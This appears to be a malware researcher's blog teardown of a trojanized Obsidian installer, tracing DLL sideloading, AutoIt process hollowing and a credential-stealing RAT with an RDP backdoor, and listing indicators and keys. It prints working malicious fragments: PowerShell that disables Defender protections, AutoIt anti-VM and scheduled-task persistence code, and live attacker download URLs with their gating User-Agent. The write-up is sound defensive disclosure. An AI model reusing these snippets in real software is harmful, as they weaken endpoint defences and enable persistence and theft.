Someone at work shared a trojanized Obsidian installer with me recently that was being distributed as an ISO. As of writing, both Bing and DuckDuckGo serve the malicious studio-obsidian.com as the second result for “obsidian download”.

DuckDuckGo search results for obsidian download showing studio-obsidian.com as the second result

It’s been a while since I’ve done any malware reversing, so I decided to spend a few days doing a full teardown. A ton of the work was LLM-assisted, which gave me a good opportunity to test out a new tool:
Crucible - Linux-hosted MCP server for provisioning and controlling isolated Windows VMs for malware analysis and debugging.

Reversing involved:

  1. Static analysis of all three stages. The LLM used Ghidra and Radare headless and I used Binja
  2. Using Crucible to run the malware in an isolated Windows VM with CDB attached
  3. Hooking the RC4 layer to decrypt live C2 traffic without needing TLS keys
  4. Writing a fake C2 server to exercise every command

As far as I can tell, this sample isn’t from a known public malware family. Please let me know if you know otherwise. None of the individual techniques themselves seem novel, though.

If you want to analyze it yourself before reading, you can download the sample here (password infected).

Sample info

Stage File SHA256 VT
ISO Obsidian-1.12.7.iso 0c155593cf9ba940e4b026666a500c5802bb672f5091870c6750bfc57b9ecaff link
1 python311.dll 5ea471e123ee59af9ea742ddb54a898475d2c776ed1980c62d9fc749453bb12e link
2a Wextract SFX bfa78af89512b135997d8180639ec92b33c07de93ebe810bfb17249e69e7fc4d link
2b Creates.exe bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1 link
3 Stealer 77274004408ddf9c5a9aea9d31f4e13fc2e4539700e92e7514a80551b97818c6 link

Overview

Here’s the full infection chain:

Infection chain diagram

Summary of capabilities:

  1. DLL sideloading via trojanized python311.dll loaded by a signed Python executable
  2. Defender evasion (exclusion paths, disabled sample submission, disabled PUA protection)
  3. Scheduled task persistence (DataHarbor at logon) plus dormant QuantumMind* tasks
  4. Anti-VM checks (VMware, VirtualBox, Sandboxie) and AV-aware persistence (Avast, AVG, BitDefender, Kaspersky, Sophos)
  5. Process hollowing to inject the final payload
  6. C2 beaconing every 60 seconds over HTTPS with RC4-encrypted JSON
  7. Eight C2 commands: shell execution, data theft, RDP backdoor, SSH tunneling, process hollowing, browser extension sideloading
  8. Browser credential/cookie theft (Chromium-family browsers including Edge, plus Firefox), crypto wallets, SSH keys, FTP, KeePass
  9. RDPWrap + Plink reverse tunnel for persistent remote desktop access

Stage 1: DLL sideloading

The ISO had three files:

  • Obsidian-1.12.7.exe - a signed Python pythonw.exe from Python 3.11.0
  • python311.dll - the malicious DLL
  • vcruntime140.dll - a normal Microsoft runtime DLL

The python311 DLL isn’t signed but is so large that most free malware analysis tools online won’t allow you to submit it. It’s much larger than the size of the real DLL.

When launching the (safe) Python executable, Windows searches for python311.dll in the current directory first and then loads the malicious library.

The PE sections end around 7.5 MB into the file, leaving a 274 MB overlay appended after the last section. Entropy analysis shows every 1 MB chunk at 7.999+ bits/byte with a chi-squared value of 258 (255 expected for true random). It’s statistically indistinguishable from CSPRNG output. No code in the DLL references the overlay offset, and none of RC4 keys I found decrypt it to anything recognizable.

The stage 2 PowerShell uses the same trick on the other end and pads its dropped payload with 200-300 MB of CryptGenRandom output.

On top of the malicious functionality, the python311.dll exports over 1,600 Python functions, which presumably both allows the Python exe to work and makes the DLL less suspicious.

Detect It Easy showing python311.dll with 1600+ Python exports

Detect It Easy showing that the DLL re-exports the full Python 3.11 API.

There was also a 4.7 MB RCDATA resource containing a signed Blizzard/Battle.net bootstrapper. I didn’t see it referenced anywhere at runtime. Embedding a legitimately signed executable is a known AV evasion technique1 - some heuristic engines see a valid Authenticode certificate chain in the byte stream and lower the risk score.

On load, DllMain runs an anti-analysis check and then spawns a worker thread that:

  1. Checks admin status, tries UAC elevation if needed
  2. Builds an RC4 key from stack strings: FlHKAk48FKHZq2O2pfgT
  3. RC4-decrypts two C2 URLs from its config
  4. Downloads both via WinHTTP with a very convincing Edge browser User-Agent
  5. Drops and executes the real Obsidian installer as a decoy so the user doesn’t get suspicious

The DLL also has RTTI for a class called HuiSunVinApplication alongside a Downloader class. This wasn’t referenced anywhere online, but I’m thinking this is the author’s chosen name for their malware.

Steps 2 through 5 all happen inside a single mega function (0x10001780) that includes about 4,000 lines of decompiler output.

Every API name and DLL string is built on the stack using XOR encoding rather than storing them as plaintext. There are two decoders - one for wide strings (used for DLL names like winhttp.dll) and one for byte strings (used for API names like WinHttpConnect). Each string starts with a seed value, and the remaining characters are XOR’d against it. After each string is decoded and used, a cleanup function zeros the stack buffers.

Stage 1 decompiled view showing XOR stack string construction, GetProcAddress resolution of WinHttpConnect, and the config string cleanup path

Inside the mega function: XOR seed `0xe7b8` builds "winhttp.dll" character-by-character, `GetProcAddress` resolves `WinHttpConnect`, and the failure path zeros all decoded strings.

After decrypting the config, stage 1 downloads two payloads from the C2:

https://download.studio-obsidian.com/JHJLPXH6?id=405   (PowerShell payload)
https://download.studio-obsidian.com/W5jQz4Nh?id=405   (Wextract SFX binary)

One thing to note is that the C2 is gated by a specific useragent. If you curl it with a default user agent, you get a 404. You need the specific Edge UA string to get the payload:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
  (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0

The second URL redirects (302) to https://verifydl.top/gmosetup, a separate domain hosting the binary. All three domains (studio-obsidian.com, verifydl.top, and the stage 3 C2 cdytftyvytcc142.website) sit behind Cloudflare anycast. The TLS certs are auto-renewed Let’s Encrypt.

The public studio-obsidian.com site is also still up at the time of writing, but I’ve reported it to the relevant parties before posting this blog.

Stage 2: PowerShell + AutoIt

Stage 1 downloads and executes two payloads. The PowerShell disables Defender. The Wextract SFX extracts and runs the AutoIt loader, which does the actual process hollowing. AutoIt is a legitimate Windows scripting language, but it has been involved in several malware campaigns over the last several years2 thanks to the fact that compiled AutoIt binaries are self-contained, support direct Win32 API calls, and likely because the scripting language is lesser known than more common ones like PowerShell, Python, etc. that may be used maliciously.

Defender evasion and persistence

The first download decrypts to base64 UTF-16LE PowerShell that disables Defender:

$path = $env:Temp
$proc = @("*.exe","*.com","cmd.exe")
$ext = @("exe","com","tmp")
Add-MpPreference -ExclusionPath $path -ExclusionProcess $proc -ExclusionExtension $ext
Set-MpPreference -SubmitSamplesConsent "NeverSend" -PUAProtection "Disabled"

It then registers a scheduled task called QuantumMindCopy (logon + 5 min). When it fires, it searches %LocalAppData% for a binary named QuantumMind.exe. If found, it renames a sibling file o to a random 12-character name, pads it with 200-300 MB of random data, and registers a second task QuantumMindSetup (logon + 7 min) to re-launch the loader.

In practice, nothing in the observed chain ever drops a file called QuantumMind.exe. The AutoIt script copies itself as DataHarbor.exe (not QuantumMind.exe) and the encrypted script as a (not o). So QuantumMindCopy fires on every logon but finds nothing, and QuantumMindSetup is never created. I think most likely, the QuantumMind naming is either vestigial from a different build or intended for a variant we didn’t observe. The persistence path that actually works is the DataHarbor task created by the AutoIt script.

Since both tasks are logon-triggered with multi-minute delays, most online sandboxes never see stage 2 fire. The sandbox window expires before the tasks run, and most don’t simulate a logon event anyway.

Loader and process hollowing

The second download decrypts to a Wextract SFX3 containing a signed Creates.exe (renamed AutoIt32 runtime) and Salary (encrypted AutoIt EA06 container).

(A)I4 wrote a custom extractor using some references on GitHub5 to pull out the decompiled AutoIt script. It came out to 12,000 lines with obfuscated variable names like $BARGAINSPEASACIDRESPONSES and $MONKEYSYNOPSISINTERNATIONALARRIVALS. The string decoder function is called EDGEPRAYERJOINT and uses repeating-key XOR. After decoding all 6,888 string calls, the actual logic is readable.

First, the anti-analysis checks:

; line 675 - exit on VM/sandbox
IF PROCESSEXISTS("vmtoolsd.exe") = TRUE OR PROCESSEXISTS("VboxTray.exe") = TRUE _
  OR PROCESSEXISTS("SandboxieRpcSs.exe") THEN EXIT

It also requires admin privileges. If IsAdmin() fails, it launches itself elevated:

; line 466
$LIGHTERACERTBOMAN = ISADMIN()
IF NOT $LIGHTERACERTBOMAN THEN
  ; line 569 - re-launch with UAC elevation
  $MONKEYSYNOPSISINTERNATIONALARRIVALS = SHELLEXECUTE("cmd", _
    " /c " & @AUTOITEXE & " " & @SCRIPTFULLPATH, "", "runas", 0)

This silently fails in headless environments, so the script just exits.

The script is AV-aware. It checks for running AV processes and adjusts its persistence path:

; line 1630-1636
$RETURNINTERMEDIATEINTERNATIONALLY = @LOCALAPPDATADIR & "\SecureData Dynamics\DataHarbor.exe"

; Avast/AVG/BitDefender/Sophos: switch to AutoIt3.exe + .a3x format
IF PROCESSEXISTS("AvastUI.exe") OR PROCESSEXISTS("AVGUI.exe") _
  OR PROCESSEXISTS("bdagent.exe") OR PROCESSEXISTS("SophosHealth.exe") THEN
    $RETURNINTERMEDIATEINTERNATIONALLY = @LOCALAPPDATADIR & "\SecureData Dynamics\AutoIt3.exe"

; BitDefender specifically: switch launcher from wscript to cscript
IF PROCESSEXISTS("bdagent.exe") THEN $SHALL_DRIVES_SUSAN = "cscript"

; line 2005 - Kaspersky: change process creation flags
$SKYPECORRECTED = 134742020
IF PROCESSEXISTS("avp.exe") THEN $SKYPECORRECTED = 134217732

If all checks pass, it copies itself to %LocalAppData%\SecureData Dynamics\DataHarbor.exe and the encrypted script to a alongside it. It creates a DataHarbor scheduled task via schtasks.exe that re-runs this on every logon. Then it decrypts and hollows the embedded stage 3:

; line 6487 - persistence
RUN("schtasks.exe /create /tn " & Chr(34) & "DataHarbor" & Chr(34) & _
  " /tr " & Chr(34) & " '" & $RETURNINTERMEDIATEINTERNATIONALLY & "' '" & _
  $B_IRONINVESTIGATE & "'" & Chr(34) & " /sc onlogon /F /RL HIGHEST", "", @SW_HIDE)

; line 11492-11496 - decrypt + decompress + hollow
; after 40 failed hollowing attempts with BitDefender present,
; fall back to hollowing TapiUnattend.exe instead of @AUTOITEXE
IF PROCESSEXISTS("bdagent.exe") THEN MOTHERSCANTABLE(160000)
$PRINCEINNOVATIVEHOLLAND = @SYSTEMDIR & "\TapiUnattend.exe"

; RC4 decrypt -> LZNT1 decompress -> process hollow
$TERRAININCOMPLETE = MINUTE_SOLD( _
  BARWEBCASTTODAY( _
    B_JEANSFAVOURITEDEMOCRATICCOAT(BINARY($WFOTQNFWEC), _
      BINARY("6129433352303165424747115893729026252"))), _
  $REPRODUCTIVERANKING, $PRINCEINNOVATIVEHOLLAND, $HOMELANDBABE)

The embedded payload ($WFOTQNFWEC) is 2,522 hex string fragments totaling ~5 MB. B_JEANSFAVOURITEDEMOCRATICCOAT is the RC4 decryptor, BARWEBCASTTODAY is the LZNT1 decompressor, and MINUTE_SOLD is the process hollowing function that calls CreateProcessW (suspended), VirtualAllocExNuma, WriteProcessMemory, and NtResumeThread.

Stage 3: The stealer

The final payload is a UPX-packed 32-bit Qt/C++ binary (~2.5 MB packed, ~9.3 MB unpacked with upx -d). Qt is statically linked, which pulls in ~22,000 functions for HTTP, TLS, JSON, etc. - but only a few dozen are actual malware code. The developer left RTTI (C++ runtime type information) unstripped, which leaks the entire class hierarchy:

grab::Grab::Grab
grab::webapi::Api::postData
grab::Extract::extractRDPDLL
grab::SysInfo::getVersionWinDef
grab::core::encryption::Rc4Entity

Config

Settings for the C2 are stored in RCDATA resource 110, RC4-encrypted with key 29258634:

version=10.240
url=cdytftyvytcc142.website
path=api/ping
KeyAES=32d6094428938486146f54913b57ce4

The KeyAES name seems to have been made to be intentionally misleading, since it’s actually RC4 rather than AES.

C2 protocol

Beacons to POST https://cdytftyvytcc142.website/api/ping every ~60 seconds. Each beacon is a fresh TCP+TLS connection - no keepalive.

The body is the profile JSON, RC4-encrypted:

{
  "hwid": "iaopekfnjnabffldepflnmfcfjkhoggn",
  "hwid2": "kgghgomglhigledfnjkabdannpfmhne",
  "username": "SYSTEM",
  "lib_version": "10.0.26100.7920",
  "os_version": "Windows 11 Home Edition 11.0.26200x64",
  "resolution": "1024x768",
  "version": "10.240"
}

The HWID is actually an MD5 hash encoded with a custom alphabet where each hex digit 0-F maps to a letter a-p. So iaopek... decodes to hex 80ef4a..., with the input being the network adapter GUID.

After each beacon, the C2 responds with an RC4-encrypted command string (command or command\npayload).

Command dispatch

The command dispatcher lives in grab::Grab::processTimeout (stage 3, address 0x436124). It checks 8 hardcoded strings in .rdata:

  • execute_cmd
    • Runs a shell command via cmd.exe. If the command contains newlines, it writes a .bat temp file and executes that instead. Output is RC4-encrypted and POSTed back to the C2 with a .cmd extension.
  • getdata
    • The main stealer. Collects browser credentials, cookies, crypto wallets, SSH keys, FTP configs, KeePass databases, and a screenshot. Everything goes into a ZIP archive and gets uploaded to the C2.
  • send_termserv
    • Uploads the victim’s termsrv.dll to the C2. The operator needs the victim’s specific build of this DLL to create version-matched RDPWrap patches.
  • tunnel
    • Parses set login=, set pass=, and tunnel parameters from the command payload, drops Plink6 to %TEMP%\plink.exe, then calls CreateProcessWithLogonW to establish a reverse SSH tunnel. The login is done with stolen or provided credentials so the tunnel survives user logoff.
  • update
    • Extracts rdpwrap.dll (x86 or x64, auto-detected) and rfxvmt.dll from RC4-encrypted PE resources (IDs 104-107), writes them to C:\Program Files\RDP Wraper\, and registers rdpwrap.dll as the TermService ServiceDll.
  • restart
    • Stops and restarts TermService so RDPWrap changes take effect.
  • execute
    • Receives a PE payload in the command body and runs it through process hollowing.
  • extension_install
    • Sideloads a .crx7 browser extension into Chrome or Edge. The extension payload isn’t embedded in the binary - it’s delivered by the C2 as the command payload. The installer unpacks the CRX, drops it into the browser’s profile directory, whitelists the extension ID via registry policy (Software\Policies\Google\Chrome\ExtensionInstallWhitelist and Software\Policies\Microsoft\Edge\ExtensionInstallAllowlist), recomputes Chrome’s Preferences MAC so it looks legitimate, hides it from the toolbar, and kills the browser to force a reload. The real C2 issued this command, but with no CRX payload attached, so I never captured the actual extension.

What getdata steals

  • Chromium browsers (Chrome, Edge, Brave, Opera): cookies, passwords, local state, app-bound encryption keys via DPAPI
  • Firefox profiles
  • WinSCP keys from registry
  • PuTTY saved sessions
  • KeePass databases
  • FileZilla credentials
  • SSH keys
  • Crypto wallets via file masks
  • System info from systeminfo.exe

RDP backdoor

The update, tunnel, and restart commands work together to set up persistent remote access:

  1. update extracts embedded RDPWrap + rfxvmt.dll (stored as RC4-encrypted resources 104-107) and installs them
  2. tunnel sets up a Plink reverse SSH tunnel - the victim dials outbound
  3. restart bounces TermService so changes take effect
  4. Operator RDPs in through the tunnel

Since the victim initiates the outbound SSH connection, no inbound firewall rules are needed. Clever.

Building a fake C2

(A)I built a Python fake C2 server that implements the full RC4 protocol:

python3 tools/fake_c2_server.py serve \
  --host 0.0.0.0 --port 9443 \
  --tls-cert fake-c2-server.crt --tls-key fake-c2-server.key \
  --playbook observed-getdata

Using Crucible I launched stage 3 and pointed it at the fake C2. I exercised all 8 commands:

  • execute_cmd whoami - ran whoami, posted back crucible-win11\crucibleuser
  • send_termserv - uploaded the full termsrv.dll PE
  • getdata - created and uploaded a ZIP with sysinfo.txt
  • tunnel - entered setupPlink, failed with inert payload (expected)

Everything matched the static analysis perfectly.

Intercepting real requests

With the fake C2 confirming everything worked, I switched to the real C2. I launched stage 3 in Crucible with NAT-mode internet access and first attached CDB to hook the RC4 layer.

Hooking RC4 to bypass TLS

At first I assumed this would be an OpenSSL keylogging problem because the binary contains OpenSSL wrapper symbols. In this run, though, Qt used its Schannel backend, so SSLKEYLOGFILE never produced TLS keys. Instead, because all C2 data passes through rc4_set_input before encryption, I was able to get the LLM to debug the malware and capture the application-layer traffic in plaintext.

// CDB breakpoint script at stage3+0x4732c (rc4_set_input)
bp stage3+0x4732c ".printf \"RC4 len=%d\n\", poi(@esp+8);
  .if(poi(@esp+8) > 0 & poi(@esp+8) < 0x1000) {
    da poi(@esp+4) L?poi(@esp+8)
  }; g"

This catches outgoing data before encryption, including profile JSON, ZIP uploads, and log postbacks in plaintext. Incoming commands are still ciphertext at that breakpoint, but the length tells us when a command was sent instead of an idle response.

MITM-ing Requests

For the longer run, I switched to a local TLS MITM. DNS for cdytftyvytcc142.website was intercepted locally, the malware connected to my TLS server, and the MITM forwarded the original RC4 bodies to the real C2. That gave me a normal pcap plus TLS keys while still talking to the real operator infrastructure.

Stage 3 TLS MITM showing intercepted DNS, decrypted beacons, update command, empty extension_install command, and termsrv.dll upload

Live stage 3 interception: DNS to the C2 is redirected locally, profile beacons are decrypted, the operator sends the RDPWrap update, the extension install command arrives with no payload, and the victim's termsrv.dll is uploaded.

Just in case the operator was trying to detect re-runs from already captured environments or malware sandboxes server-side, I had the interceptor modify the identifier JSON with a random-looking HWID, username, OS version, and screen resolution.

What the operator did

Across the live sessions, the C2 followed a pretty consistent playbook:

  1. getdata - sent a server-side list of wallet and document file masks, then received the stealer ZIP upload
  2. update - sent a 546 KB RDPWrap configuration updated on 2026-05-26
  3. extension_install - sent the command name with no CRX payload, so the malware entered the extension path and failed validation
  4. send_termserv - requested the victim’s local termsrv.dll; the malware uploaded the full 1.2 MB PE, complete with MZ header
  5. idle - returned empty responses on later beacons

Most of this was expected. They steal all my data and get an extra host on their C2. But sending termsrv.dll was interesting. My theory here is that the operator wants the victim’s own termsrv.dll so they can patch it offline with RDPWrap for that specific Windows build, since RDPWrap patches are version-specific, and different Windows updates ship different termsrv.dll binaries.

IoCs

Domains

All behind Cloudflare anycast - origin servers hidden.

  • download.studio-obsidian.com - Stage 1 payload delivery
  • verifydl.top - Stage 2 binary host / redirect target
  • cdytftyvytcc142.website - Stage 3 C2

Network indicators

  • JA3 (direct launch): ce5f3254611a8c095a3d821d44539877
  • JA3 (process-hollowed): 56f324664e72889294d846ffc6f580b3
  • Stage 1 UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
  • Stage 3 UA: Mozilla/5.0 (Windows NT 6.1; Win32; x86; rv:47.0) Gecko/20100101 Firefox/47.0
  • C2 endpoint: POST /api/ping
  • Beacon interval: hardcoded 60 seconds (QTimer::start(60000) at 0x435bc4), no jitter

Host indicators

  • Scheduled tasks: DataHarbor (active, created by AutoIt via schtasks.exe), QuantumMindCopy (registered by PowerShell but inert - searches for QuantumMind.exe which is never dropped)
  • Persistence directory: %LocalAppData%\SecureData Dynamics\
  • RDPWrap drop: C:\Program Files\RDP Wraper\rdpwrap.dll
  • Registry modification: HKLM\...\TermService\Parameters\ServiceDll pointing to rdpwrap.dll
  • Anti-VM: ProcessExists() checks for vmtoolsd.exe, VboxTray.exe, SandboxieRpcSs.exe in the AutoIt script

RC4 keys

  • FlHKAk48FKHZq2O2pfgT - Stage 1 config and C2 payloads
  • 29258634 - Stage 3 settings resource (RCDATA 110)
  • 32d6094428938486146f54913b57ce4 - Stage 3 C2 transport
  • 6129433352303165424747115893729026252 - AutoIt embedded payload

  1. MITRE ATT&CK T1036.001 - Invalid Code Signature. Embedding signed binaries in resources to influence heuristic scoring. 

  2. AutoIt is a freeware Windows automation language whose compiler produces standalone executables with full Win32 API access. It’s one of the most commonly abused legitimate tools in malware delivery chains - DarkGate and numerous Redline/Amadey campaigns use AutoIt-compiled loaders for sandbox evasion and payload decryption. See Unit42 AutoIt  2

  3. Wextract is Microsoft’s built-in self-extracting archive stub, bundled with Windows via the IExpress Wizard (iexpress.exe). It packages files into a single executable that extracts to a temp directory and optionally runs a setup command. 

  4. parsiya.net on (A)I 

  5. Other AutoIt EA06 extractors: AutoIt-Ripper, Exe2Aut

  6. .crx is Chrome’s extension package format - a signed ZIP containing the extension’s JavaScript, manifest, and assets. Normally installed from the Chrome Web Store, but can be sideloaded by dropping files directly into the browser profile.